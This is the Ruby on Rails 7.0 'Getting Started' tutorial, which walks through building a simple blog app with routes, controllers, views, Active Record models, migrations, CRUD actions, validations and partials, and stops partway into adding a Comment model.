Ruby on Rails Guides (v7.0.8.1)

These are the new guides for Rails 7.0 based on v7.0.8.1. These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.

The guides for earlier releases: Rails 6.1, Rails 6.0, Rails 5.2, Rails 5.1, Rails 5.0, Rails 4.2, Rails 4.1, Rails 4.0, Rails 3.2, Rails 3.1, Rails 3.0, and Rails 2.3.

Kindle Edition

The Kindle Edition of the Rails Guides should be considered a work in progress. Feedback is really welcome. Please see the "Feedback" section at the end of each guide for instructions.

This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License

"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.

Getting Started with Rails

This guide covers getting up and running with Ruby on Rails.

After reading this guide, you will know:

How to install Rails, create a new Rails application, and connect your application to a database.

The general layout of a Rails application.

The basic principles of MVC (Model, View, Controller) and RESTful design.

How to quickly generate the starting pieces of a Rails application.

Chapters

Guide Assumptions

What is Rails?

Creating a New Rails Project

Installing Rails

Creating the Blog Application

Hello, Rails!

Starting Up the Web Server

Say "Hello", Rails

Setting the Application Home Page

Autoloading

MVC and You

Generating a Model

Database Migrations

Using a Model to Interact with the Database

Showing a List of Articles

CRUDit Where CRUDit Is Due

Showing a Single Article

Resourceful Routing

Creating a New Article

Updating an Article

Deleting an Article

Adding a Second Model

Generating a Model

Associating Models

Adding a Route for Comments

Generating a Controller

Refactoring

Rendering Partial Collections

Rendering a Partial Form

Using Concerns

Deleting Comments

Deleting Associated Objects

Security

Basic Authentication

Other Security Considerations

What's Next?

Configuration Gotchas

1 Guide Assumptions

This guide is designed for beginners who want to get started with creating a Rails application from scratch. It does not assume that you have any prior experience with Rails.

Rails is a web application framework running on the Ruby programming language. If you have no prior experience with Ruby, you will find a very steep learning curve diving straight into Rails. There are several curated lists of online resources for learning Ruby:

Official Ruby Programming Language website

List of Free Programming Books

Be aware that some resources, while still excellent, cover older versions of Ruby, and may not include some syntax that you will see in day-to-day development with Rails.

2 What is Rails?

Rails is a web application development framework written in the Ruby programming language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Experienced Rails developers also report that it makes web application development more fun.

Rails is opinionated software. It makes the assumption that there is a "best" way to do things, and it's designed to encourage that way - and in some cases to discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.

The Rails philosophy includes two major guiding principles:

Don't Repeat Yourself: DRY is a principle of software development which states that "Every piece of knowledge must have a single, unambiguous, authoritative representation within a system". By not writing the same information over and over again, our code is more maintainable, more extensible, and less buggy.

Convention Over Configuration: Rails has opinions about the best way to do many things in a web application, and defaults to this set of conventions, rather than require that you specify minutiae through endless configuration files.

3 Creating a New Rails Project

The best way to read this guide is to follow it step by step. All steps are essential to run this example application and no additional code or steps are needed.

By following along with this guide, you'll create a Rails project called blog, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.

The examples below use $ to represent your terminal prompt in a UNIX-like OS, though it may have been customized to appear differently. If you are using Windows, your prompt will look something like C:\source_code>.

3.1 Installing Rails

Before you install Rails, you should check to make sure that your system has the proper prerequisites installed. These include:

Ruby

SQLite3

3.1.1 Installing Ruby

Open up a command line prompt. On macOS open Terminal.app; on Windows choose "Run" from your Start menu and type cmd.exe. Any commands prefaced with a dollar sign $ should be run in the command line. Verify that you have a current version of Ruby installed:

  $ ruby --version
ruby 2.7.0

Rails requires Ruby version 2.7.0 or later. It is preferred to use the latest Ruby version. If the version number returned is less than that number (such as 2.3.7, or 1.8.7), you'll need to install a fresh copy of Ruby.

To install Rails on Windows, you'll first need to install Ruby Installer.

For more installation methods for most Operating Systems take a look at ruby-lang.org.

3.1.2 Installing SQLite3

You will also need an installation of the SQLite3 database. Many popular UNIX-like OSes ship with an acceptable version of SQLite3. Others can find installation instructions at the SQLite3 website.

Verify that it is correctly installed and in your load PATH:

  $ sqlite3 --version

The program should report its version.

3.1.3 Installing Rails

To install Rails, use the gem install command provided by RubyGems:

  $ gem install rails

To verify that you have everything installed correctly, you should be able to run the following in a new terminal:

  $ rails --version

If it says something like "Rails 7.0.0", you are ready to continue.

3.2 Creating the Blog Application

Rails comes with a number of scripts called generators that are designed to make your development life easier by creating everything that's necessary to start working on a particular task. One of these is the new application generator, which will provide you with the foundation of a fresh Rails application so that you don't have to write it yourself.

To use this generator, open a terminal, navigate to a directory where you have rights to create files, and run:

  $ rails new blog

This will create a Rails application called Blog in a blog directory and install the gem dependencies that are already mentioned in Gemfile using bundle install.

You can see all of the command line options that the Rails application generator accepts by running rails new --help.

After you create the blog application, switch to its folder:

  $ cd blog

The blog directory will have a number of generated files and folders that make up the structure of a Rails application. Most of the work in this tutorial will happen in the app folder, but here's a basic rundown on the function of each of the files and folders that Rails creates by default:

File/Folder
Purpose

app/
Contains the controllers, models, views, helpers, mailers, channels, jobs, and assets for your application. You'll focus on this folder for the remainder of this guide.

bin/
Contains the rails script that starts your app and can contain other scripts you use to set up, update, deploy, or run your application.

config/
Contains configuration for your application's routes, database, and more. This is covered in more detail in Configuring Rails Applications.

config.ru
Rack configuration for Rack-based servers used to start the application. For more information about Rack, see the Rack website.

db/
Contains your current database schema, as well as the database migrations.

Gemfile
Gemfile.lock
These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see the Bundler website.

lib/
Extended modules for your application.

log/
Application log files.

public/
Contains static files and compiled assets. When your app is running, this directory will be exposed as-is.

Rakefile
This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.

README.md
This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.

storage/
Active Storage files for Disk Service. This is covered in Active Storage Overview.

test/
Unit tests, fixtures, and other test apparatus. These are covered in Testing Rails Applications.

tmp/
Temporary files (like cache and pid files).

vendor/
A place for all third-party code. In a typical Rails application this includes vendored gems.

.gitattributes
This file defines metadata for specific paths in a git repository. This metadata can be used by git and other tools to enhance their behavior. See the gitattributes documentation for more information.

.gitignore
This file tells git which files (or patterns) it should ignore. See GitHub - Ignoring files for more information about ignoring files.

.ruby-version
This file contains the default Ruby version.

4 Hello, Rails!

To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running.

4.1 Starting Up the Web Server

You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running the following command in the blog directory:

  $ bin/rails server

If you are using Windows, you have to pass the scripts under the bin folder directly to the Ruby interpreter e.g. ruby bin\rails server.

JavaScript asset compression requires you have a JavaScript runtime available on your system, in the absence of a runtime you will see an execjs error during asset compression. Usually macOS and Windows come with a JavaScript runtime installed. therubyrhino is the recommended runtime for JRuby users and is added by default to the Gemfile in apps generated under JRuby. You can investigate all the supported runtimes at ExecJS.

This will start up Puma, a web server distributed with Rails by default. To see your application in action, open a browser window and navigate to http://localhost:3000. You should see the Rails default information page:

When you want to stop the web server, hit Ctrl+C in the terminal window where it's running. In the development environment, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server.

The Rails startup page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page.

4.2 Say "Hello", Rails

To get Rails saying "Hello", you need to create at minimum a route, a controller with an action, and a view. A route maps a request to a controller action. A controller action performs the necessary work to handle the request, and prepares any data for the view. A view displays data in a desired format.

In terms of implementation: Routes are rules written in a Ruby DSL (Domain-Specific Language). Controllers are Ruby classes, and their public methods are actions. And views are templates, usually written in a mixture of HTML and Ruby.

Let's start by adding a route to our routes file, config/routes.rb, at the top of the Rails.application.routes.draw block:

  Rails.application.routes.draw do
  get "/articles", to: "articles#index"

  # For details on the DSL available within this file, see https://guides.rubyonrails.org/routing.html
end

The route above declares that GET /articles requests are mapped to the index action of ArticlesController.

To create ArticlesController and its index action, we'll run the controller generator (with the --skip-routes option because we already have an appropriate route):

  $ bin/rails generate controller Articles index --skip-routes

Rails will create several files for you:

  create  app/controllers/articles_controller.rb
invoke  erb
create    app/views/articles
create    app/views/articles/index.html.erb
invoke  test_unit
create    test/controllers/articles_controller_test.rb
invoke  helper
create    app/helpers/articles_helper.rb
invoke    test_unit

The most important of these is the controller file, app/controllers/articles_controller.rb. Let's take a look at it:

  class ArticlesController < ApplicationController
  def index
  end
end

The index action is empty. When an action does not explicitly render a view (or otherwise trigger an HTTP response), Rails will automatically render a view that matches the name of the controller and action. Convention Over Configuration! Views are located in the app/views directory. So the index action will render app/views/articles/index.html.erb by default.

Let's open app/views/articles/index.html.erb, and replace its contents with:

  <h1>Hello, Rails!</h1>

If you previously stopped the web server to run the controller generator, restart it with bin/rails server. Now visit http://localhost:3000/articles, and see our text displayed!

4.3 Setting the Application Home Page

At the moment, http://localhost:3000 still displays a page with the Ruby on Rails logo. Let's display our "Hello, Rails!" text at http://localhost:3000 as well. To do so, we will add a route that maps the root path of our application to the appropriate controller and action.

Let's open config/routes.rb, and add the following root route to the top of the Rails.application.routes.draw block:

  Rails.application.routes.draw do
  root "articles#index"

  get "/articles", to: "articles#index"
end

Now we can see our "Hello, Rails!" text when we visit http://localhost:3000, confirming that the root route is also mapped to the index action of ArticlesController.

To learn more about routing, see Rails Routing from the Outside In.

5 Autoloading

Rails applications do not use require to load application code.

You may have noticed that ArticlesController inherits from ApplicationController, but app/controllers/articles_controller.rb does not have anything like

  require "application_controller" # DON'T DO THIS.

Application classes and modules are available everywhere, you do not need and should not load anything under app with require. This feature is called autoloading, and you can learn more about it in Autoloading and Reloading Constants.

You only need require calls for two use cases:

To load files under the lib directory.

To load gem dependencies that have require: false in the Gemfile.

6 MVC and You

So far, we've discussed routes, controllers, actions, and views. All of these are typical pieces of a web application that follows the MVC (Model-View-Controller) pattern. MVC is a design pattern that divides the responsibilities of an application to make it easier to reason about. Rails follows this design pattern by convention.

Since we have a controller and a view to work with, let's generate the next piece: a model.

6.1 Generating a Model

A model is a Ruby class that is used to represent data. Additionally, models can interact with the application's database through a feature of Rails called Active Record.

To define a model, we will use the model generator:

  $ bin/rails generate model Article title:string body:text

Model names are singular, because an instantiated model represents a single data record. To help remember this convention, think of how you would call the model's constructor: we want to write Article.new(...), not Articles.new(...).

This will create several files:

  invoke  active_record
create    db/migrate/<timestamp>_create_articles.rb
create    app/models/article.rb
invoke    test_unit
create      test/models/article_test.rb
create      test/fixtures/articles.yml

The two files we'll focus on are the migration file (db/migrate/<timestamp>_create_articles.rb) and the model file (app/models/article.rb).

6.2 Database Migrations

Migrations are used to alter the structure of an application's database. In Rails applications, migrations are written in Ruby so that they can be database-agnostic.

Let's take a look at the contents of our new migration file:

  class CreateArticles < ActiveRecord::Migration[7.0]
  def change
    create_table :articles do |t|
      t.string :title
      t.text :body

      t.timestamps
    end
  end
end

The call to create_table specifies how the articles table should be constructed. By default, the create_table method adds an id column as an auto-incrementing primary key. So the first record in the table will have an id of 1, the next record will have an id of 2, and so on.

Inside the block for create_table, two columns are defined: title and body. These were added by the generator because we included them in our generate command (bin/rails generate model Article title:string body:text).

On the last line of the block is a call to t.timestamps. This method defines two additional columns named created_at and updated_at. As we will see, Rails will manage these for us, setting the values when we create or update a model object.

Let's run our migration with the following command:

  $ bin/rails db:migrate

The command will display output indicating that the table was created:

  ==  CreateArticles: migrating ===================================
-- create_table(:articles)
   -> 0.0018s
==  CreateArticles: migrated (0.0018s) ==========================

To learn more about migrations, see Active Record Migrations.

Now we can interact with the table using our model.

6.3 Using a Model to Interact with the Database

To play with our model a bit, we're going to use a feature of Rails called the console. The console is an interactive coding environment just like irb, but it also automatically loads Rails and our application code.

Let's launch the console with this command:

  $ bin/rails console

You should see an irb prompt like:

  Loading development environment (Rails 7.0.0)
irb(main):001:0>

At this prompt, we can initialize a new Article object:

  irb> article = Article.new(title: "Hello Rails", body: "I am on Rails!")

It's important to note that we have only initialized this object. This object is not saved to the database at all. It's only available in the console at the moment. To save the object to the database, we must call save:

  irb> article.save
(0.1ms)  begin transaction
Article Create (0.4ms)  INSERT INTO "articles" ("title", "body", "created_at", "updated_at") VALUES (?, ?, ?, ?)  [["title", "Hello Rails"], ["body", "I am on Rails!"], ["created_at", "2020-01-18 23:47:30.734416"], ["updated_at", "2020-01-18 23:47:30.734416"]]
(0.9ms)  commit transaction
=> true

The above output shows an INSERT INTO "articles" ... database query. This indicates that the article has been inserted into our table. And if we take a look at the article object again, we see something interesting has happened:

  irb> article
=> #<Article id: 1, title: "Hello Rails", body: "I am on Rails!", created_at: "2020-01-18 23:47:30", updated_at: "2020-01-18 23:47:30">

The id, created_at, and updated_at attributes of the object are now set. Rails did this for us when we saved the object.

When we want to fetch this article from the database, we can call find on the model and pass the id as an argument:

  irb> Article.find(1)
=> #<Article id: 1, title: "Hello Rails", body: "I am on Rails!", created_at: "2020-01-18 23:47:30", updated_at: "2020-01-18 23:47:30">

And when we want to fetch all articles from the database, we can call all on the model:

  irb> Article.all
=> #<ActiveRecord::Relation [#<Article id: 1, title: "Hello Rails", body: "I am on Rails!", created_at: "2020-01-18 23:47:30", updated_at: "2020-01-18 23:47:30">]>

This method returns an ActiveRecord::Relation object, which you can think of as a super-powered array.

To learn more about models, see Active Record Basics and Active Record Query Interface.

Models are the final piece of the MVC puzzle. Next, we will connect all of the pieces together.

6.4 Showing a List of Articles

Let's go back to our controller in app/controllers/articles_controller.rb, and change the index action to fetch all articles from the database:

  class ArticlesController < ApplicationController
  def index
    @articles = Article.all
  end
end

Controller instance variables can be accessed by the view. That means we can reference @articles in app/views/articles/index.html.erb. Let's open that file, and replace its contents with:

  <h1>Articles</h1>

<ul>
  <% @articles.each do |article| %>
    <li>
      <%= article.title %>
    </li>
  <% end %>
</ul>

The above code is a mixture of HTML and ERB. ERB is a templating system that evaluates Ruby code embedded in a document. Here, we can see two types of ERB tags: <% %> and <%= %>. The <% %> tag means "evaluate the enclosed Ruby code." The <%= %> tag means "evaluate the enclosed Ruby code, and output the value it returns." Anything you could write in a regular Ruby program can go inside these ERB tags, though it's usually best to keep the contents of ERB tags short, for readability.

Since we don't want to output the value returned by @articles.each, we've enclosed that code in <% %>. But, since we do want to output the value returned by article.title (for each article), we've enclosed that code in <%= %>.

We can see the final result by visiting http://localhost:3000. (Remember that bin/rails server must be running!) Here's what happens when we do that:

The browser makes a request: GET http://localhost:3000.

Our Rails application receives this request.

The Rails router maps the root route to the index action of ArticlesController.

The index action uses the Article model to fetch all articles in the database.

Rails automatically renders the app/views/articles/index.html.erb view.

The ERB code in the view is evaluated to output HTML.

The server sends a response containing the HTML back to the browser.

We've connected all the MVC pieces together, and we have our first controller action! Next, we'll move on to the second action.

7 CRUDit Where CRUDit Is Due

Almost all web applications involve CRUD (Create, Read, Update, and Delete) operations. You may even find that the majority of the work your application does is CRUD. Rails acknowledges this, and provides many features to help simplify code doing CRUD.

Let's begin exploring these features by adding more functionality to our application.

7.1 Showing a Single Article

We currently have a view that lists all articles in our database. Let's add a new view that shows the title and body of a single article.

We start by adding a new route that maps to a new controller action (which we will add next). Open config/routes.rb, and insert the last route shown here:

  Rails.application.routes.draw do
  root "articles#index"

  get "/articles", to: "articles#index"
  get "/articles/:id", to: "articles#show"
end

The new route is another get route, but it has something extra in its path: :id. This designates a route parameter. A route parameter captures a segment of the request's path, and puts that value into the params Hash, which is accessible by the controller action. For example, when handling a request like GET http://localhost:3000/articles/1, 1 would be captured as the value for :id, which would then be accessible as params[:id] in the show action of ArticlesController.

Let's add that show action now, below the index action in app/controllers/articles_controller.rb:

  class ArticlesController < ApplicationController
  def index
    @articles = Article.all
  end

  def show
    @article = Article.find(params[:id])
  end
end

The show action calls Article.find (mentioned previously) with the ID captured by the route parameter. The returned article is stored in the @article instance variable, so it is accessible by the view. By default, the show action will render app/views/articles/show.html.erb.

Let's create app/views/articles/show.html.erb, with the following contents:

  <h1><%= @article.title %></h1>

<p><%= @article.body %></p>

Now we can see the article when we visit http://localhost:3000/articles/1!

To finish up, let's add a convenient way to get to an article's page. We'll link each article's title in app/views/articles/index.html.erb to its page:

  <h1>Articles</h1>

<ul>
  <% @articles.each do |article| %>
    <li>
      <a href="/articles/<%= article.id %>">
        <%= article.title %>
      </a>
    </li>
  <% end %>
</ul>

7.2 Resourceful Routing

So far, we've covered the "R" (Read) of CRUD. We will eventually cover the "C" (Create), "U" (Update), and "D" (Delete). As you might have guessed, we will do so by adding new routes, controller actions, and views. Whenever we have such a combination of routes, controller actions, and views that work together to perform CRUD operations on an entity, we call that entity a resource. For example, in our application, we would say an article is a resource.

Rails provides a routes method named resources that maps all of the conventional routes for a collection of resources, such as articles. So before we proceed to the "C", "U", and "D" sections, let's replace the two get routes in config/routes.rb with resources:

  Rails.application.routes.draw do
  root "articles#index"

  resources :articles
end

We can inspect what routes are mapped by running the bin/rails routes command:

  $ bin/rails routes
      Prefix Verb   URI Pattern                  Controller#Action
        root GET    /                            articles#index
    articles GET    /articles(.:format)          articles#index
 new_article GET    /articles/new(.:format)      articles#new
     article GET    /articles/:id(.:format)      articles#show
             POST   /articles(.:format)          articles#create
edit_article GET    /articles/:id/edit(.:format) articles#edit
             PATCH  /articles/:id(.:format)      articles#update
             DELETE /articles/:id(.:format)      articles#destroy

The resources method also sets up URL and path helper methods that we can use to keep our code from depending on a specific route configuration. The values in the "Prefix" column above plus a suffix of _url or _path form the names of these helpers. For example, the article_path helper returns "/articles/#{article.id}" when given an article. We can use it to tidy up our links in app/views/articles/index.html.erb:

  <h1>Articles</h1>

<ul>
  <% @articles.each do |article| %>
    <li>
      <a href="<%= article_path(article) %>">
        <%= article.title %>
      </a>
    </li>
  <% end %>
</ul>

However, we will take this one step further by using the link_to helper. The link_to helper renders a link with its first argument as the link's text and its second argument as the link's destination. If we pass a model object as the second argument, link_to will call the appropriate path helper to convert the object to a path. For example, if we pass an article, link_to will call article_path. So app/views/articles/index.html.erb becomes:

  <h1>Articles</h1>

<ul>
  <% @articles.each do |article| %>
    <li>
      <%= link_to article.title, article %>
    </li>
  <% end %>
</ul>

Nice!

To learn more about routing, see Rails Routing from the Outside In.

7.3 Creating a New Article

Now we move on to the "C" (Create) of CRUD. Typically, in web applications, creating a new resource is a multi-step process. First, the user requests a form to fill out. Then, the user submits the form. If there are no errors, then the resource is created and some kind of confirmation is displayed. Else, the form is redisplayed with error messages, and the process is repeated.

In a Rails application, these steps are conventionally handled by a controller's new and create actions. Let's add a typical implementation of these actions to app/controllers/articles_controller.rb, below the show action:

  class ArticlesController < ApplicationController
  def index
    @articles = Article.all
  end

  def show
    @article = Article.find(params[:id])
  end

  def new
    @article = Article.new
  end

  def create
    @article = Article.new(title: "...", body: "...")

    if @article.save
      redirect_to @article
    else
      render :new, status: :unprocessable_entity
    end
  end
end

The new action instantiates a new article, but does not save it. This article will be used in the view when building the form. By default, the new action will render app/views/articles/new.html.erb, which we will create next.

The create action instantiates a new article with values for the title and body, and attempts to save it. If the article is saved successfully, the action redirects the browser to the article's page at "http://localhost:3000/articles/#{@article.id}". Else, the action redisplays the form by rendering app/views/articles/new.html.erb with status code 422 Unprocessable Entity. The title and body here are dummy values. After we create the form, we will come back and change these.

redirect_to will cause the browser to make a new request, whereas render renders the specified view for the current request. It is important to use redirect_to after mutating the database or application state. Otherwise, if the user refreshes the page, the browser will make the same request, and the mutation will be repeated.

7.3.1 Using a Form Builder

We will use a feature of Rails called a form builder to create our form. Using a form builder, we can write a minimal amount of code to output a form that is fully configured and follows Rails conventions.

Let's create app/views/articles/new.html.erb with the following contents:

  <h1>New Article</h1>

<%= form_with model: @article do |form| %>
  <div>
    <%= form.label :title %><br>
    <%= form.text_field :title %>
  </div>

  <div>
    <%= form.label :body %><br>
    <%= form.text_area :body %>
  </div>

  <div>
    <%= form.submit %>
  </div>
<% end %>

The form_with helper method instantiates a form builder. In the form_with block we call methods like label and text_field on the form builder to output the appropriate form elements.

The resulting output from our form_with call will look like:

  <form action="/articles" accept-charset="UTF-8" method="post">
  <input type="hidden" name="authenticity_token" value="...">

  <div>
    <label for="article_title">Title</label><br>
    <input type="text" name="article[title]" id="article_title">
  </div>

  <div>
    <label for="article_body">Body</label><br>
    <textarea name="article[body]" id="article_body"></textarea>
  </div>

  <div>
    <input type="submit" name="commit" value="Create Article" data-disable-with="Create Article">
  </div>
</form>

To learn more about form builders, see Action View Form Helpers.

7.3.2 Using Strong Parameters

Submitted form data is put into the params Hash, alongside captured route parameters. Thus, the create action can access the submitted title via params[:article][:title] and the submitted body via params[:article][:body]. We could pass these values individually to Article.new, but that would be verbose and possibly error-prone. And it would become worse as we add more fields.

Instead, we will pass a single Hash that contains the values. However, we must still specify what values are allowed in that Hash. Otherwise, a malicious user could potentially submit extra form fields and overwrite private data. In fact, if we pass the unfiltered params[:article] Hash directly to Article.new, Rails will raise a ForbiddenAttributesError to alert us about the problem. So we will use a feature of Rails called Strong Parameters to filter params. Think of it as strong typing for params.

Let's add a private method to the bottom of app/controllers/articles_controller.rb named article_params that filters params. And let's change create to use it:

  class ArticlesController < ApplicationController
  def index
    @articles = Article.all
  end

  def show
    @article = Article.find(params[:id])
  end

  def new
    @article = Article.new
  end

  def create
    @article = Article.new(article_params)

    if @article.save
      redirect_to @article
    else
      render :new, status: :unprocessable_entity
    end
  end

  private
    def article_params
      params.require(:article).permit(:title, :body)
    end
end

To learn more about Strong Parameters, see Action Controller Overview § Strong Parameters.

7.3.3 Validations and Displaying Error Messages

As we have seen, creating a resource is a multi-step process. Handling invalid user input is another step of that process. Rails provides a feature called validations to help us deal with invalid user input. Validations are rules that are checked before a model object is saved. If any of the checks fail, the save will be aborted, and appropriate error messages will be added to the errors attribute of the model object.

Let's add some validations to our model in app/models/article.rb:

  class Article < ApplicationRecord
  validates :title, presence: true
  validates :body, presence: true, length: { minimum: 10 }
end

The first validation declares that a title value must be present. Because title is a string, this means that the title value must contain at least one non-whitespace character.

The second validation declares that a body value must also be present. Additionally, it declares that the body value must be at least 10 characters long.

You may be wondering where the title and body attributes are defined. Active Record automatically defines model attributes for every table column, so you don't have to declare those attributes in your model file.

With our validations in place, let's modify app/views/articles/new.html.erb to display any error messages for title and body:

  <h1>New Article</h1>

<%= form_with model: @article do |form| %>
  <div>
    <%= form.label :title %><br>
    <%= form.text_field :title %>
    <% @article.errors.full_messages_for(:title).each do |message| %>
      <div><%= message %></div>
    <% end %>
  </div>

  <div>
    <%= form.label :body %><br>
    <%= form.text_area :body %><br>
    <% @article.errors.full_messages_for(:body).each do |message| %>
      <div><%= message %></div>
    <% end %>
  </div>

  <div>
    <%= form.submit %>
  </div>
<% end %>

The full_messages_for method returns an array of user-friendly error messages for a specified attribute. If there are no errors for that attribute, the array will be empty.

To understand how all of this works together, let's take another look at the new and create controller actions:

    def new
    @article = Article.new
  end

  def create
    @article = Article.new(article_params)

    if @article.save
      redirect_to @article
    else
      render :new, status: :unprocessable_entity
    end
  end

When we visit http://localhost:3000/articles/new, the GET /articles/new request is mapped to the new action. The new action does not attempt to save @article. Therefore, validations are not checked, and there will be no error messages.

When we submit the form, the POST /articles request is mapped to the create action. The create action does attempt to save @article. Therefore, validations are checked. If any validation fails, @article will not be saved, and app/views/articles/new.html.erb will be rendered with error messages.

To learn more about validations, see Active Record Validations. To learn more about validation error messages, see Active Record Validations § Working with Validation Errors.

7.3.4 Finishing Up

We can now create an article by visiting http://localhost:3000/articles/new. To finish up, let's link to that page from the bottom of app/views/articles/index.html.erb:

  <h1>Articles</h1>

<ul>
  <% @articles.each do |article| %>
    <li>
      <%= link_to article.title, article %>
    </li>
  <% end %>
</ul>

<%= link_to "New Article", new_article_path %>

7.4 Updating an Article

We've covered the "CR" of CRUD. Now let's move on to the "U" (Update). Updating a resource is very similar to creating a resource. They are both multi-step processes. First, the user requests a form to edit the data. Then, the user submits the form. If there are no errors, then the resource is updated. Else, the form is redisplayed with error messages, and the process is repeated.

These steps are conventionally handled by a controller's edit and update actions. Let's add a typical implementation of these actions to app/controllers/articles_controller.rb, below the create action:

  class ArticlesController < ApplicationController
  def index
    @articles = Article.all
  end

  def show
    @article = Article.find(params[:id])
  end

  def new
    @article = Article.new
  end

  def create
    @article = Article.new(article_params)

    if @article.save
      redirect_to @article
    else
      render :new, status: :unprocessable_entity
    end
  end

  def edit
    @article = Article.find(params[:id])
  end

  def update
    @article = Article.find(params[:id])

    if @article.update(article_params)
      redirect_to @article
    else
      render :edit, status: :unprocessable_entity
    end
  end

  private
    def article_params
      params.require(:article).permit(:title, :body)
    end
end

Notice how the edit and update actions resemble the new and create actions.

The edit action fetches the article from the database, and stores it in @article so that it can be used when building the form. By default, the edit action will render app/views/articles/edit.html.erb.

The update action (re-)fetches the article from the database, and attempts to update it with the submitted form data filtered by article_params. If no validations fail and the update is successful, the action redirects the browser to the article's page. Else, the action redisplays the form — with error messages — by rendering app/views/articles/edit.html.erb.

7.4.1 Using Partials to Share View Code

Our edit form will look the same as our new form. Even the code will be the same, thanks to the Rails form builder and resourceful routing. The form builder automatically configures the form to make the appropriate kind of request, based on whether the model object has been previously saved.

Because the code will be the same, we're going to factor it out into a shared view called a partial. Let's create app/views/articles/_form.html.erb with the following contents:

  <%= form_with model: article do |form| %>
  <div>
    <%= form.label :title %><br>
    <%= form.text_field :title %>
    <% article.errors.full_messages_for(:title).each do |message| %>
      <div><%= message %></div>
    <% end %>
  </div>

  <div>
    <%= form.label :body %><br>
    <%= form.text_area :body %><br>
    <% article.errors.full_messages_for(:body).each do |message| %>
      <div><%= message %></div>
    <% end %>
  </div>

  <div>
    <%= form.submit %>
  </div>
<% end %>

The above code is the same as our form in app/views/articles/new.html.erb, except that all occurrences of @article have been replaced with article. Because partials are shared code, it is best practice that they do not depend on specific instance variables set by a controller action. Instead, we will pass the article to the partial as a local variable.

Let's update app/views/articles/new.html.erb to use the partial via render:

  <h1>New Article</h1>

<%= render "form", article: @article %>

A partial's filename must be prefixed with an underscore, e.g. _form.html.erb. But when rendering, it is referenced without the underscore, e.g. render "form".

And now, let's create a very similar app/views/articles/edit.html.erb:

  <h1>Edit Article</h1>

<%= render "form", article: @article %>

To learn more about partials, see Layouts and Rendering in Rails § Using Partials.

7.4.2 Finishing Up

We can now update an article by visiting its edit page, e.g. http://localhost:3000/articles/1/edit. To finish up, let's link to the edit page from the bottom of app/views/articles/show.html.erb:

  <h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<ul>
  <li><%= link_to "Edit", edit_article_path(@article) %></li>
</ul>

7.5 Deleting an Article

Finally, we arrive at the "D" (Delete) of CRUD. Deleting a resource is a simpler process than creating or updating. It only requires a route and a controller action. And our resourceful routing (resources :articles) already provides the route, which maps DELETE /articles/:id requests to the destroy action of ArticlesController.

So, let's add a typical destroy action to app/controllers/articles_controller.rb, below the update action:

  class ArticlesController < ApplicationController
  def index
    @articles = Article.all
  end

  def show
    @article = Article.find(params[:id])
  end

  def new
    @article = Article.new
  end

  def create
    @article = Article.new(article_params)

    if @article.save
      redirect_to @article
    else
      render :new, status: :unprocessable_entity
    end
  end

  def edit
    @article = Article.find(params[:id])
  end

  def update
    @article = Article.find(params[:id])

    if @article.update(article_params)
      redirect_to @article
    else
      render :edit, status: :unprocessable_entity
    end
  end

  def destroy
    @article = Article.find(params[:id])
    @article.destroy

    redirect_to root_path, status: :see_other
  end

  private
    def article_params
      params.require(:article).permit(:title, :body)
    end
end

The destroy action fetches the article from the database, and calls destroy on it. Then, it redirects the browser to the root path with status code 303 See Other.

We have chosen to redirect to the root path because that is our main access point for articles. But, in other circumstances, you might choose to redirect to e.g. articles_path.

Now let's add a link at the bottom of app/views/articles/show.html.erb so that we can delete an article from its own page:

  <h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<ul>
  <li><%= link_to "Edit", edit_article_path(@article) %></li>
  <li><%= link_to "Destroy", article_path(@article), data: {
                    turbo_method: :delete,
                    turbo_confirm: "Are you sure?"
                  } %></li>
</ul>

In the above code, we use the data option to set the data-turbo-method and data-turbo-confirm HTML attributes of the "Destroy" link. Both of these attributes hook into Turbo, which is included by default in fresh Rails applications. data-turbo-method="delete" will cause the link to make a DELETE request instead of a GET request. data-turbo-confirm="Are you sure?" will cause a confirmation dialog to appear when the link is clicked. If the user cancels the dialog, the request will be aborted.

And that's it! We can now list, show, create, update, and delete articles! InCRUDable!

8 Adding a Second Model

It's time to add a second model to the application. The second model will handle comments on articles.

8.1 Generating a Model

We're going to see the same generator that we used before when creating the Article model. This time we'll create a Comment model to hold a reference to an article. Run this command in your terminal:

  $ bin/rails generate model Comment commenter:string body:text article:references

This command will generate four files:

File | Purpose
db/migrate/20140120201010_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp)
app/models/comment.rb | The Comment model
test/models/comment_test.rb | Testing harness for the comment model
test/fixtures/comments.yml | Sample comments for use in testing

First, take a look at app/models/comment.rb:

  class Comment < ApplicationRecord
  belongs_to :article
end

This is very similar to the Article model that you saw earlier. The difference is the line belongs_to :article, which sets up an Active Record association. You'll learn a little about associations in the next section of this guide.

The (:references) keyword used in the shell command is a special data type for models. It creates a new column on your database table with the provided model name appended with an _id that can hold integer values. To get a better understanding, analyze the db/schema.rb file after running the migration.

In addition to the model, Rails has also made a migration to create the corresponding database table:

  class CreateComments < ActiveRecord::Migration[7.0]
  def change
    create_table :comments do |t|
      t.string :commenter
      t.text :body
      t.references :article, null: false, foreign_key: true

      t.timestamps
    end
  end
end

The t.references line creates an integer column called article_id, an index for it, and a foreign key constraint that points to the id column of the articles table. Go ahead and run the migration:

  $ bin/rails db:migrate

Rails is smart enough to only execute the migrations that have not already been run against the current database, so in this case you will just see:

  ==  CreateComments: migrating =================================================
-- create_table(:comments)
   -> 0.0115s
==  CreateComments: migrated (0.0119s) ========================================

